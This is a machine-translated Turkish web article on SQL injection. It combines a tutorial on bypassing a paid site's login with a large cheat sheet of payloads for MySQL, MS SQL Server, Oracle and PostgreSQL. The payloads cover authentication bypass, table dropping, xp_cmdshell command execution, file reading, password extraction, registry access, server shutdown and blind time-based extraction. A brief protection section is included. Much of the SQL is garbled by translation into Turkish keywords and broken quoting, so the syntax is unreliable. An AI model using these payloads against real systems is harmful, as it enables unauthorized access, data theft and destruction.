Menü
Bedava
kayıt
ev  /  internet/ İçeride ve dışarıda SQL Enjeksiyonu. Görüntülenecek sütunları tanımlama

SQL Injection içte ve dışta. Görüntülenecek sütunları tanımlama

SQL Enjeksiyonu yeterli iyi fırsat bir hacker'ın alması için
sunucuya erişim. Ve biraz çabayla,
yine de anlıyor 🙂

kodlayıcı içeride

Günümüzde veritabanları ile çalışma desteklenmektedir.
neredeyse tüm programlama dilleri, bunlar BASIC, C ++, Java, PERL, PHP, Assembler ve hatta JavaScript'i içerir! Ve bu programlar başka hiçbir şekilde DBMS - veritabanı yönetim sistemleri olarak adlandırılmaz. Veritabanları genellikle finansal sorunları çözmek için kullanılır,
muhasebe, personel organizasyonu, ancak internette uygulamalarını bulmuşlar.

Veritabanları genellikle web uygulamaları yazmak için kullanılır. Kullanımları, kullanıcı kayıt verilerini, oturum kimliklerini, aramaları organize etmek ve daha fazla işlem gerektiren diğer görevleri depolamak için en uygundur.
data miktarı. Veritabanına erişmek için sunucu teknolojileri kullanılır: PHP, PERL, ASP, vb. eğlence burada başlıyor. sunucudayken
tüm yamalar yüklenir ve güvenlik duvarı 80'inci hariç tüm bağlantı noktalarını engelliyor veya bazı verilere erişmek için kimlik doğrulama gerektiğinde, bir bilgisayar korsanı hacklemek için SQL Injection'ı kullanabilir. Bu saldırının özü, kavşakta bir hata kullanmaktır. WEB teknolojileri ve SQL. Gerçek şu ki, birçok internet sayfaları kullanıcı verilerini işlemek için özel bir SQL veritabanı sorgusu. Bu tekniğin dikkatsiz kullanımı oldukça ilginç sonuçlara yol açabilir ...

SQL Enjeksiyonu

Saldırıyı açıklamak için, çok önemli bir aracı indirmek için siteye gittiğinizi ve bunu yalnızca kayıtlı bir kullanıcının yapabileceğini dehşetle fark ettiğinizi ve kayıt işleminin elbette maliyetli olduğunu düşünelim 🙂 Geri vermek istemiyorum. son kazanılan para, ancak program olmadan hiçbir yolu yok! Nasıl olduğunu hatırlamanın zamanı geldi
veritabanlarına erişim SQL... Örneğin, PHP'de bir kullanıcı adı ve parolayı kontrol etmek şöyle görünebilir:

$ sonuç = mysql_db_query ($ db, "SELECT * FROM $ table WHERE user =" $ login "VE
pass = "$ şifre" ");
$ num_rows = mysql_num_rows ($ sonuç);
mysql_close ($ bağlantı);
if ($ num_rows! = 0)
{
// DOĞRULAMA TAMAM
}
Başka
{
// DOĞRULAMA HATASI
}

İki yorum ekledim, "DOĞRULAMA TAMAM" - bunun yerine
şifre ve giriş doğruysa yürütülecek koda gidin. Başka bir "DOĞRULAMA HATASI", kodun tanımlanacağı, yanlış olmaları durumunda yürütülecek olan yerdir. Formu doldurursanız, istek "http://www.server.com?login=user&password=31337" gibi görünecektir, burada www.server.com adıdır.
bağlanmaya çalıştığımız sunucu. Aradığımızı bulduk ve bu nedenle tekrar işe döneceğiz. SQL... Bu nedenle, yetkilendirme için bir kullanıcı adı ve şifre belirtmeniz gerekiyorsa, oluşturulan SQL istek şöyle görünecek:

SELECT * FROM users WHERE login = "user" AND
şifre = "31337"

Bu, şuna benzer bir anlama gelir: "user" oturum açma ve "31337" parolası ile kullanıcı veritabanındaki tüm kayıtları bana döndür. Böyle bir kayıt varsa, kullanıcı kayıtlıdır, yoksa yok... Ama bazı durumlarda her şey düzeltilebilir. Bu, uygulamanın iletilen verilerin içeriğini kontrol etmediği veya mevcudiyetini tam olarak kontrol etmediği bir durum anlamına gelir. SQL Talimatlar. Bu örnekte, iki alan oturum açma ve parola karşılaştırılır, ancak "31337 ′ VE e-posta =' belirtirseniz [e-posta korumalı]"(Çift tırnak işareti olmadan), o zaman sorgu biraz farklı olacaktır:

SELECT * FROM users WHERE login = "user" AND password = "31337" AND
e-posta = " [e-posta korumalı]"

E-posta alanı varsa, bu koşul da kontrol edilecektir. Boole cebrinin temellerini hatırlayacak olursanız, "ve" işlemine ek olarak "veya" işleminin de olduğu ve kullanımları SQL tarafından desteklendiğinden,
açıklanan şekilde her zaman doğru olan bir koşul ekleyin. Bunu yapmak için, "kullanıcı" VEYA 1 = 1— "bir oturum açma olarak belirtmelisiniz, bu durumda istek şu şekilde olacaktır:

SELECT * FROM users WHERE login = "user" VEYA 1 = 1-- "VE
şifre = "31337"

İlk olarak, "-"nin isteğin sonu anlamına geldiğini ve "-"den sonraki her şeyin anlamını bilmelisiniz.
işleme alınmayacaktır! Sanki bir istekte bulunduk:

SELECT * FROM users WHERE login = "user" VEYA 1 = 1

Gördüğünüz gibi, "1 = 1" koşulunu ekledik, bu, test kriterinin "eğer oturum açma 'kullanıcı' veya 1 = 1 ise" olacağı, ancak 1'in her zaman 1'e eşit olduğu anlamına gelir (tek istisna, Dani Shepovalov'un aritmetiği olsun :)). şüphelerimizi test etmek için
çekiçle içeriz adres çubuğu"Http://www.server.com?login=user veya 1 = 1— & password = 31337". Bu, hangi girişi belirttiğimizin önemli olmadığı gerçeğine yol açar, ancak
özellikle şifre! Ve biz matristeyiz ... oh, sistemde ve ihtiyacımız olanı sakince indirebiliriz.

Ama bunların hepsi teoride. Uygulamada talebin nasıl oluştuğunu, hangi verilerin hangi sırayla iletildiğini bilmiyoruz. Bu nedenle, tüm alanlar için "user" VEYA 1 = 1— "belirtilmesi gerekir. Ayrıca gizli alanlar için gönderim formunu da kontrol etmelisiniz. HTML'de, " olarak tanımlanırlar. ". Varsa sayfayı kaydedin ve bu alanların değerlerini değiştirin. İçlerinde bulunan değerler, SQL deyimlerinin varlığını kontrol etmek için genellikle unutulur. Ancak her şeyin çalışması için, "ACTION" parametresi için formda ("FORM" etiketi) bu isteği işleyen komut dosyasının tam yolunu belirtmelisiniz.

Ancak isteğin nasıl oluştuğu da her zaman bilinmez.
önceki örnek aşağıdaki şekillerde oluşturulabilir:

SELECT * FROM users WHERE (login = "user" AND password = "31337")
SELECT * FROM users WHERE login = "user" AND password = "31337"
SEÇ * KULLANICILARDAN NEREDE oturum açma = kullanıcı VE şifre = 31337

Bu durumda, aşağıdaki seçenekleri deneyebilirsiniz:

'VEYA 1 = 1—
"VEYA 1 = 1—
VEYA 1 = 1—
'VEYA' bir '=' bir
"VEYA" a "=" bir
') VEYA (' bir '=' bir
VEYA '1' = '1 '

Her şey betiğin amacına ve programcıya bağlıdır. Herkesin her şeyi kendi yöntemiyle yapması yaygın olduğu için, programcının en kolay seçeneği seçmemesi oldukça olasıdır. Bu nedenle, hemen olmamalıdır
reddedilirsen vazgeç Gerekli
mümkün olduğunca dene büyük miktar seçenekler ...

Şifre algılama

Yetkilendirmeyi atlamak kötü değildir, ancak çoğu zaman kullandığınız delik kapanır ve size sunulan her şey kaybolur.
Programcı bir aptal değilse, bu beklenebilir.
zamanla tüm boşlukları kapatacaktır. Bununla önceden ilgilenerek bu tür durumlardan kolayca kurtulabilirsiniz. Doğru çözüm, kullanarak şifreyi tahmin etmek olabilir.
doğrulama sonuçlarının analizi. İlk önce şifreyi tahmin etmeye çalışıyoruz, bunun için yerine giriyoruz:

'VEYA şifre>' bir

Yetkilendirmenin geçtiğine dair bize cevap verirlerse, şifre
"a" harfiyle değil, listede aşağıdakilerden biriyle başlar. Devam et ve değiştir
"a", sonraki "b", "c", "d", "e" ... vb. şifrenin doğru olmadığı söylenene kadar. Bu işlem "x" sembolünde dursun, bu durumda durumun gelişmesi için iki seçenek oluşturulur, şifre bulunur veya şifre bu sembol üzerinde okunur. İlk seçeneği kontrol etmek için şifrenin yerini yazıyoruz:

'VEYA şifre =' x

ve şifre kabul edildiyse ve içeri girmenize izin verildiyse, şifreyi tahmin ettiniz! Hayır, o zaman ikinci karakteri zaten seçmelisiniz,
baştan beri aynı. İki karakter için, kontrol edin
aynısına ihtiyacın var. Sonunda bir şifre alacaksınız ve aynı şekilde giriş arıyorsunuz 🙂
Bulunan şifre ve giriş size uymuyorsa, başkalarını bulabilirsiniz. Bunu yapmak için, bulunan şifrenin son karakterinden kontrol etmeye başlamanız gerekir. Bu nedenle, şifre "xxx" ise, şifrenin varlığının kontrol edilmesi gerekir.
"xxy":

'VEYA şifre =' xxx

birden fazla seçeneği kaçırmamak için!

MS SQL Sunucusu

HANIM SQL Server genellikle gerekli filtrelemenin kaçırılıp atılmadığını bulur. SQL Injection güvenlik açığını kullanarak çalıştırabilirsiniz.
exec master..xp_cmdshell kullanarak uzak bir sunucuda komutlar. Ama bu yapıyı kullanmak için
"SEÇ" işlemini tamamlamak gereklidir. SQL'de ifadeler noktalı virgülle ayrılır. Bu nedenle Telnet üzerinden bazı IP'lere bağlanacaktır, şifre / oturum açma yerini yazmanız gerekir:

"; exec master..xp_cmdshell" telnet 192.168.0.1 "-

MS SQL Server'da birkaç tane daha var ilginç özellikler, veritabanında saklanan oturum açma bilgilerini ve şifreleri bulmanızı sağlar. Bunu yapmak için, hata çıktısı rastgele bir sunucuya ve onlar aracılığıyla yönlendirilir.
analiz, tablonun adını, alanları ve türlerini öğrenebilirsiniz. O zaman talep edebilirsiniz

'UNION SELECT TOP 1 kullanıcılardan giriş —

(login, oturum açmayı içeren alanın adıdır ve kullanıcılar tablonun adıdır,
hata analizi sürecinde yarı bilim adamları).

Cevap aşağıdaki gibi olabilir:


nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: admin" to a column of data type int. !}
/default.asp, satır 27

Artık "admin" adında bir kullanıcı olduğunu biliyoruz. Şimdi onun şifresini alabiliriz:

'UNION SELECT İLK 1 şifre, oturum açmanın =' 'admin' olduğu kullanıcılardan -

Sonuç:

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e07"
nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: xxx" to a column of data type int. !}
/tedault.asp, 27. satır

Artık "xxx" şifresine sahip bir "admin" kullanıcısı olduğunu biliyoruz. Bu güvenli bir şekilde
kullan ve sisteme giriş yap 😉

Ancak SQL ile çalışmak için başka birçok işlev vardır,
bir veritabanıyla çalışırken, verileri silebilir, değiştirebilir, kendinizinkini ekleyebilir ve hatta dosyaları değiştirebilir ve kayıt defteriyle çalışabilirsiniz.
Genel olarak SQL Server kuralları 🙂

Koruma

Ancak tüm bunlar doğal olarak önlenebilir. Bunu yapmak için şunları yapabilirsiniz:
filtreleri kullanın,
üreticiler tarafından sağlanmaktadır. Kendi çözümlerinizi bulabilirsiniz, örneğin hepsini tek tek değiştirin.
çift ​​tırnak (eğer için SQL tek istek kullanıyoruz) veya tam tersi. Harflerin kullanımına ve @ baki ile yalnızca girmeniz gerekiyorsa izin verebilirsiniz.
e. Ve ayrıca incide inanılmaz bir şey var
sorgunuzu başarıyla karşı güvenli hale getiren DBI :: DBD modülündeki 🙂 alıntı () işlevi SQL... Birçok çözüm var, sadece onlara ihtiyacınız var
yararlanın. Aksi takdirde, neden o zaman tüm bunlar ...

SQL Injection Cheat Sheet, çeşitli SQL enjeksiyon güvenlik açıklarının teknik özelliklerini özetlemek için tasarlanmıştır. Makale, SQL enjeksiyonunun özelliklerini sunar. MySQL, Microsoft SQL Sunucusu, ORACLE ve PostgreSQL.

0. Giriş
Bu yazıda detaylı bulabilirsiniz teknik Bilgiler farklı SQL enjeksiyon türleri hakkında. Bilgi güvenliği alanında hem deneyimli uzmanlar hem de yeni başlayanlar için faydalı olabilir.

V şu anda hile sayfası yalnızca MySQL, Microsoft SQL Server için bilgiler ve ORACLE ve PostgreSQL için bazı veriler içerir. Bölümler sözdizimi, açıklama ve ekleme örnekleri içerir.

Kullanılan gösterim:
M (MySQL);
S (SQL Sunucusu);
O (Oracle);
P (PostgreSQL);
+ (muhtemelen diğer veritabanlarında);
* (özel koşullar gereklidir).

1. Satır yorumları
Yorumlar genellikle bir isteğin bir kısmını yok saymak için kullanışlıdır.
Sözdizimi:
- (SM): DROP örnek tablosu; -
# (M): DROP örnek tablosu; #
Örnek:
Kullanıcı adı: yönetici "-
Oluşturulan sorgu: SELECT * FROM üyeler WHERE username = "admin" - "AND password =" password "
Bu, parola kontrolünü yok sayarak yönetici kullanıcı olarak oturum açmanıza olanak tanır.

2. Yorumları engelle
Onların yardımıyla, isteğin bir kısmını yok sayabilir, boşlukları değiştirebilir, kara listeleri atlayabilir, veritabanının sürümünü belirleyebilirsiniz.
Sözdizimi:
/ * Yorum * / (SM):
DROP / * yorum * / örneklenebilir
DR / ** / OP / * traversal_black_list * / örneklenebilir
SELECT / * space_replace * / password / ** / FROM / ** / Üyeler

/ *! MYSQL Özel SQL * / (M): SELECT / *! 32302 1/0, * / 1 FROM tablo adından
Bu, MySQL'e özgü bir yorum sözdizimidir. MySQL sürümünüzü tespit etmenizi sağlar. Bu yorum yalnızca MySQL'de çalışacaktır.
Örnekler:
Kimlik: 10; DROP TABLE üyeleri / *
İsteğin geri kalanını ve bir satır yorumunu yok sayarız.

Kimlik: / *!32302 10 * /
MySQL sürümü 3.23.02'den yüksekse ID = 10 ile aynı cevabı alacaksınız

Kimlik: / *!32302 1/0, * /
Oluşturulan sorgu: SELECT / *! 32302 1/0, * / 1 FROM tablename
Sunucunun MySQL sürümü 3.23.02'den yüksekse, 0'a bölme hatası oluşur

3. İsteklerin sırası
Aynı anda birden fazla istek yürütmenize izin verir. Bu, enjeksiyonun herhangi bir noktasında faydalıdır.


Yeşil - desteklenen; siyah - desteklenmiyor; gri - bilinmiyor.
Sözdizimi:
; (S): ÜYELERDEN * SEÇİMİ; DROP üyeleri--
Bir istek bitti, diğeri başladı.
Örnek:
Kimlik: 10; DROP üyeleri -
Oluşturulan sorgu: SELECT * FROM ÜRÜNLER NEREDE id = 10; DROP üyeleri--
Bu sorgu, normal bir sorgudan sonra üye tablosunu bırakacaktır.

4. Koşullu ifadeler
Koşul karşılanırsa talebe bir yanıt alacağız. Bu, kör enjeksiyonun kilit noktalarından biridir. Ayrıca basit şeyleri doğru bir şekilde kontrol etmeye yardımcı olurlar.
Sözdizimi:
EĞER (koşul, doğru kısım, yanlış kısım) (M): IF SEÇ (1 = 1, "doğru", "yanlış")
EĞER koşulu doğru kısım ELSE yanlış kısım (S): IF (1 = 1) SELECT "true" ELSE SELECT "false"
IF koşulu THEN true-part; ELSE yanlış kısım; EĞER SON; SON; (O): EĞER (1 = 1) SONRA dbms_lock.sleep (3); ELSE dbms_lock.sleep (0); EĞER SON; SON;
SELECT CASE WHEN koşul THEN true-part ELSE false-part END; (P): OLDUĞU ZAMAN DURUM SEÇ (1 = 1) SONRA "A" ELSE "B" END;
örnek:
eğer ((kullanıcı seçin) = "sa" VEYA (kullanıcı seçin) = "dbo") 1 seçin, aksi takdirde 1/0 (S) seçin
geçerli kullanıcı "sa" veya "dbo" değilse, sıfıra bölme hatası verir.

5. Sayıları kullanma
Magic_quotes () ve WAF dahil benzer filtreleri atlamak için kullanılır.
Sözdizimi:
0xHEX_NUMBER (SM):
CHAR SEÇ (0x66) (S)
SELECT 0x5045 (bu bir sayı değil, bir dizedir) (M)
0x50 + 0x45 SEÇİN (bu artık bir sayıdır) (M)
Örnekler:
LOAD_FILE SEÇ (0x633A5C626F6F742E696E69) (M)
c:\boot.ini dosyasının içeriğini gösterecek

6. Dize birleştirme
Satır işlemleri, filtreleri atlamanıza veya bir veritabanı tanımlamanıza yardımcı olabilir.
Sözdizimi:
+ (S): üyelerden oturum açma + "-" + şifre SEÇ
|| (* MO): Giriş SEÇ || "-" || üyelerden şifre
MySQL ANSI modunda çalışıyorsa çalışacaktır. Aksi takdirde MySQL bunu bir boole operatörü olarak kabul etmeyecek ve 0 döndürecektir. MySQL'de CONCAT () işlevini kullanmak daha iyidir.

CONCAT (str1, str2, str3, ...) (M): Üyelerden CONCAT SEÇ (oturum açma, şifre)

7. Tırnaksız satırlar
Bir sorguda tırnak kullanmaktan kaçınmanın birkaç yolu vardır, örneğin CHAR () (MS) ve CONCAT () (M).
Sözdizimi:
0x457578 (M) SEÇ

MySQL'in bir dizeyi onaltılık hale getirmenin basit bir yolu vardır:
CONCAT SEÇ ("0x", HEX ("c: \\ boot.ini"))

"KLM" dizesini döndürür:
CONCAT SEÇ (CHAR (75), CHAR (76), CHAR (77)) (M)
CHAR SEÇ (75) + CHAR (76) + CHAR (77) (S)
CHR SEÇ (75) || CHR (76) || CHR (77) (O)
SELECT (CHaR (75) || CHaR (76) || CHaR (77)) (P)

8. Dizelerin ve sayıların dönüştürülmesi.
Sözdizimi:
ASCII () (SMP): SEÇ ASCII ("a")
En soldaki karakterin ASCII kodunu döndürür. İşlev, kör enjeksiyonlar için kullanılır.

CHAR () (SM): CHAR SEÇ (64)
ASCII kodunu ilgili karaktere çevirir.

9. BİRLİĞİ operatörü
UNION operatörü ile tabloların kesiştiği noktalarda sorgulama yapabilirsiniz. Temel olarak, başka bir tablodan değer döndüren bir sorgu gönderebilirsiniz.
Örnek:
SELECT başlığı, txt FROM FROM HABERLER BİRLİĞİ TÜMÜNÜ SEÇİN isim, üyelerden ilet
Bu, haber ve üye tablolarından elde edilen sonuçları birleştirecektir.

10. Kimlik Doğrulama Atlaması (SMO +)
Örnekler:
yönetici "-
yönetici "#
yönetici "/ *
"veya 1 = 1--
"veya 1 = 1 #
"veya 1 = 1 / *
") veya" 1 "=" 1--
") veya (" 1 "=" 1--

11. MD5 kullanarak kimlik doğrulamayı atlayın
Uygulama önce kullanıcı adını ve ardından parolanın md5 karmasını karşılaştırıyorsa, kimlik doğrulamasını atlamak için ek numaralara ihtiyacınız vardır. Sonuçları bilinen bir parola ve hash değeriyle birleştirebilirsiniz.
Örnek (MSP):
kullanıcı adı: yönetici
Şifre: 1234 "VE 1 = 0 UNION ALL SELECT" admin ","
= MD5 (1234)

12. Hata Tabanlı
12.1 HAVING BY (S) ile Sütun Tanımlama
Örnek:
Aynı sırada
"1 = 1 -
"GROUP BY table.columnfromerror1 HAVING 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1 = 1 -
"GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1 = 1 -
…………….
Hata almayı bırakana kadar devam edin.

12.2 ORDER BY (MSO +) ile kolon sayısını belirleme
ORDER BY kullanarak sütun sayısını bulma, UNION enjeksiyonu kullanılarak hızlandırılabilir.
SİPARİŞ TARAFINDAN 1--
SİPARİŞ TARAFINDAN 2--
3- SİPARİŞ
………………..
Bir hata mesajı alana kadar devam edin. Bu, sütun sayısını gösterecektir.

13. Veri türü tanımı
Her zaman UNION ile ALL kullanın.
Tablodaki gereksiz bir girişten kurtulmak için -1 herhangi bir not kullanın. mevcut değerler sorgunun başında (enjeksiyon WHERE parametresindeyse). Bir seferde yalnızca bir değer alabiliyorsanız bu önemlidir.
Bir dize, tarih, sayı vb. tahmin etmeye çalışmak yerine UNION enjeksiyonunda NULL kullanın. Ancak kör enjeksiyonda dikkatli olun, çünkü DB'nin hatasını ve uygulamanın kendisini karıştırabilirsiniz. Bazı diller, örneğin ASP.NET, NULL değeri kullanırken hata verir (çünkü geliştiriciler kullanıcı adı alanında boş bir değer görmeyi beklemiyorlardı)
Örnekler:
"kullanıcılardan birlik seçme toplamı (columntofind)-- (S):
Bir hata mesajı almazsanız, sütun sayısaldır.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert (image, 1), null, null, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL -
CAST () veya CONVERT () kullanabilirsiniz.

11223344) BİRLİK SELECT NULL, NULL, NULL, NULL NEREDE 1 = 2 –-
Hata yoksa, sözdizimi doğrudur, yani. MS SQL Server tarafından kullanılır.

11223344) BİRLİK SEÇİMİ 1, NULL, NULL, NULL NEREDE 1 = 2 –-
Hata yoksa, ilk sütun bir sayıdır.

1122334) UNION SELECT 1,2, NULL, NULL NEREDE 1 = 2 -
Bir hata görünürse, ikinci sütun bir sayı değildir.

11223344) BİRLİK SEÇİMİ 1, '2', NULL, NULL NEREDE 1 = 2 –-
Hata yoksa, ikinci sütun bir satırdır.
……………..

14. Basit Ekleme (MSO +)
Örnek:
"; kullanıcı değerlerini girin (1," hax0r "," coolpass ", 9) / *

15. Bilgi toplama
Sözdizimi:
@@ sürümü (MS)
DB sürümünü ve daha fazla ayrıntıyı kontrol edebilirsiniz.
Örnek:
INSERT INTO üyeler (kimlik, kullanıcı, geçiş) DEĞERLER (1, "" + SUBSTRING (@@ sürüm, 1,10), 10)

16. Karmaşık uç (S)
Bir dosyanın içeriğini bir tabloya eklemenizi sağlar. Web uygulamasının dahili yolunu bilmiyorsanız, IIS metatabanını okuyabilirsiniz (yalnızca IIS 6).
Sözdizimi:
dosya (% systemroot% \ system32 \ inetsrv \ MetaBase.xml)
Sonra içinde uygulama yollarını bulabilirsiniz.
Örnek:
1. Foo tablosu oluşturun (varchar (8000) türü dizesi)
2. 'c: \ inetpub \ wwwroot \ login.asp' dosyasının içeriğini foo tablosuna ekleyin
3. Geçici tabloyu bırakın ve başka bir dosya için tekrarlayın.

17. BCP (S)
aşağı yazar Metin dosyası... Bu kimlik bilgileri gerektirir.
Örnek:
bcp "SELECT * FROM test..foo" sorgulama c: \ inetpub \ wwwroot \ runcommand.asp -c -Slocalhost -Usa -Pfoobar

18.VBS, SQL Server'da WSH (S)
SQL Server'da VBS, WSH scriptlerini kullanabilirsiniz.
Örnek:
Kullanıcı adı: "; beyan @o int exec sp_oacreate" wscript.shell ", @o out exec sp_oamethod @o," run ", NULL," notepad.exe "-

19. Sistem komutlarının yürütülmesi (S)
İyi bilinen hile, özellik SQL Server 2005'te varsayılan olarak devre dışıdır. Yönetici haklarına ihtiyacınız var.
Örnek:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. SQL Server'da (S) özel tablolar
Örnekler:
Hata mesajları: master..sysmessages
Bağlantılı sunucular: master..sysservers
Parola SQL Server 2000: masters..sysxlogins
Şifre SQL Server 2005: sys.sql_logins

21. SQL Server (S) için birkaç saklı yordam
Sözdizimi:
Cmd Yürüt (xp_cmdshell)
Kayıt Defteri Öğeleri (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletedeğeri
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
Hizmetleri Yönetme (xp_servicecontrol)
Medyalar (xp_availablemedia)
ODBC Kaynakları (xp_enumdsn)
Oturum açma modu (xp_loginconfig)
Kabin Dosyaları Oluşturma (xp_makecab)
Etki Alanı Numaralandırma (xp_ntsec_enumdomains)
İşlem Sonlandırma (PID gerekli) (xp_terminate_process)
Yeni prosedür ekle (sp_addextendedproc)
Bir UNC'ye veya dahili bir yola metin dosyası yazın (sp_makewebtask)
Örnekler:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ lanmanserver \ parametreler", "nullsessionshares"
exec xp_regenumvalues ​​​​HKEY_LOCAL_MACHINE, "SYSTEM \ CurrentControlSet \ Services \ snmp \ parametreler \ validcommunities"
sp_addextendedproc "xp_webserver", "c: \ temp \ x.dll"
xp_web sunucusunu çalıştır

22. MSSQL Toplu Notlar
Örnekler:
SELECT * FROM master..sysprocesses / * NEREDE [e-posta korumalı]@ SPID * /
DECLARE @result int; EXEC @result = xp_cmdshell "dir * .exe"; IF (@sonuç = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME ()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL / Q "DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. LIMIT (M) sorgularında SQL enjeksiyonu
Örnek:
ID SEÇ, ürün FROM test.test LIMIT 0,0 UNION ALL SELECT 1, "x" / *, 10;
LIMIT deyimini aşmak için UNION veya yorum kullanabilirsiniz.

24. SQL Server'ı (S) Kapatma
Örnek:
"; kapat -

25. SQL Server 2005'te xp_cmdshell'i Etkinleştirme
Sözdizimi:
Varsayılan olarak, xp_cmdshell ve diğer potansiyel olarak tehlikeli işlevler SQL Server 2005'te devre dışı bırakılmıştır. Yönetici olarak bunları etkinleştirebilirsiniz.
EXEC sp_configure "gelişmiş seçenekleri göster", 1
YENİDEN YAPILANDIR
EXEC sp_configure "xp_cmdshell", 1
YENİDEN YAPILANDIR

26. SQL Server'da (S) veritabanı yapısının aranması
Örnekler:
WHERE xtype = "U" sysobjects FROM adı SEÇ

SYScolumns FROM adı WHERE id = ( WHERE name = "tablenameforcolumnnames" sysobjects FROM id)
Sütun Başlıklarını Alma

27. Hareketli kayıtlar (S)
Örnekler:
... KULLANICILARIN OLMADIĞI NEREDE ("İlk Kullanıcı", "İkinci Kullanıcı")
NOT IN veya NOT EXIST ile NEREDE kullanın

MEVCUT OLMAYAN ÜYELERDEN İLK 1 isim SEÇİN (ÜYELERDEN İLK 0 isim SEÇİN)

SELECT * FROM Product WHERE ID = 2 VE 1 = CAST ((P.name öğesini seçin (SELECT (SELECT COUNT (i.id) sysobjects FROM FROM i WHERE i.id)<=o.id)
AS x, sistem nesnelerinden isim o) olarak p burada p.x = 3) int olarak

(SELECT (SELECT COUNT (i.id) AS sysobjects FROM i WHERE xtype = "U" ve i.id) arasından p.name seçin<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. SQL Server'da (S) Hata Tabanlı SQL Injection'dan veri çıkarmanın hızlı bir yolu
"; DECLARE @rt varchar (8000) SET @ rd =": "SELECT @ [e-posta korumalı]+ "" + sistem sütunlarından ad WHERE id = (sistem nesnelerinden kimliği SEÇ WHERE ad = "ÜYELER") AND name> @rd SELECT @rd AS rd TMP_SYS_TMP sonuna; -

29. MySQL'de veritabanı yapısını arama (M)
Örnekler:
info_schema.tables NEREDE tablo_adı SEÇİN table_schema = "tablename"
Özel tabloları alma

Tablo_adı SEÇ, sütun_adı FROM bilgi_schema.columns NEREDE table_schema = "tablename"
Sütun Başlıklarını Alma

30. Oracle'da veritabanı yapısının aranması (O)
Örnekler:
SEÇ * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Özel tabloları alma

SEÇ * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Sütun Başlıklarını Alma

31. Kör enjeksiyon
Kaliteli bir uygulamada hata mesajlarını göremezsiniz. UNION operatörünü ve Hata Tabanlı saldırıları kullanamayacaksınız. Verileri almak için kör SQL enjeksiyonu kullanmanız gerekecek. İki tip kör enjeksiyon vardır.
Plain Blind Injection: Sayfada isteklerin sonuçlarını göremezsiniz ancak yanıttan veya HTTP durumundan sonucu belirleyebilirsiniz.
Tam Kör Enjeksiyon: Çıktıda herhangi bir fark görmezsiniz.
Normal kör enjeksiyonlarda IF ve WHERE ifadelerini kullanabilirsiniz, tamamen kör enjeksiyonlarda bazı bekleme fonksiyonlarını kullanmanız ve yanıt sürelerini karşılaştırmanız gerekir. Bunun için SQL Server'da WAIT FOR DELAY '0:0:10', MySQL'de BENCHMARK() ve sleep (10), PostgreSQL'de pg_sleep (10) kullanabilirsiniz.
Örnek:
Bu örnek, SQL Server'da Blind Injection'ın gerçek dünyadaki kullanımına dayanmaktadır.

DOĞRU: SEÇ ID, Kullanıcı Adı, E-posta NEREDEN ID = 1 VE ISNULL (ASCII (SUBSTRING ((SysObjects NEREDE xtYpe = 0x55 OLDUĞUNDAN İLK 1 adı SEÇİN VE AD DEĞİL) (sysObjects NEREDE xtYpe = 0x55)'DEN İLK 0 adı SEÇİN), 1 , 1)), 0)> 78--

YANLIŞ: KİMLİK SEÇ, Kullanıcı Adı, E-posta NEREDEN KİMLİK = 1 VE ISNULL (ASCII (SUBSTRING ((xtYpe = 0x55 YERİNDE SYSObjects'ten İLK 1 adı SEÇİN VE IN DEĞİL), 1 , 1)), 0)> 103--

YANLIŞ: KİMLİK SEÇ, Kullanıcı Adı, E-posta NEREDEN KİMLİK = 1 VE ISNULL (ASCII (SUBSTRING ((xtYpe = 0x55 YERİNDE SYSObjects'ten İLK 1 adı SEÇİN VE IN DEĞİL), 1 , 1)), 0)> 89--

YANLIŞ: KİMLİK SEÇ, Kullanıcı Adı, E-posta NEREDEN KİMLİK = 1 VE ISNULL (ASCII (SUBSTRING ((xtYpe = 0x55 YERİNDE SYSObjects'ten İLK 1 adı SEÇİN VE IN DEĞİL), 1 , 1)), 0)> 83--

DOĞRU: SEÇ ID, Kullanıcı Adı, E-posta NEREDEN ID = 1 VE ISNULL (ASCII (SUBSTRING ((SysObjects NEREDE xtYpe = 0x55 OLDUĞUNDAN İLK 1 adı SEÇİN VE AD DEĞİL) (sysObjects NEREDE xtYpe = 0x55)'DEN İLK 0 adı SEÇİN), 1 , 1)), 0)> 79--

YANLIŞ: KİMLİK SEÇ, Kullanıcı Adı, E-posta NEREDEN KİMLİK = 1 VE ISNULL (ASCII (SUBSTRING ((xtYpe = 0x55 YERİNDE SYSObjects'ten İLK 1 adı SEÇİN VE IN DEĞİL), 1 , 1)), 0)> 80--

Son iki sorguya dayanarak, ascii'deki ilk karakterin değerinin 80 olduğunu kesin olarak biliyoruz. Yani ilk karakter 'P'. Böylece tabloların isimlerini ve içeriklerini öğrenebiliriz. Başka bir yol da verileri parça parça okumaktır.

32. Tamamen kör enjeksiyon
Bu yöntemi yalnızca gerçekten kör enjeksiyon için kullanın. Gecikme konusunda dikkatli olun.
Sözdizimi:
GECİKME İÇİN BEKLEYİN "zaman" (S)
İşlev, işlemciyi yüklemeden belirtilen süreyi bekler.
Örnekler:
if (kullanıcı seçin) = "sa" gecikme için bekleyin "0: 0: 10"
ÜrünKimliği = 1; bekleme gecikmesi "0: 0: 10" -
ProductID = 1); waitfor "0: 0: 10" -
ÜrünKimliği = 1 "; gecikmeyi bekle" 0: 0: 10 "-
ÜrünKimliği = 1 "); gecikmeyi bekle" 0: 0: 10 "-
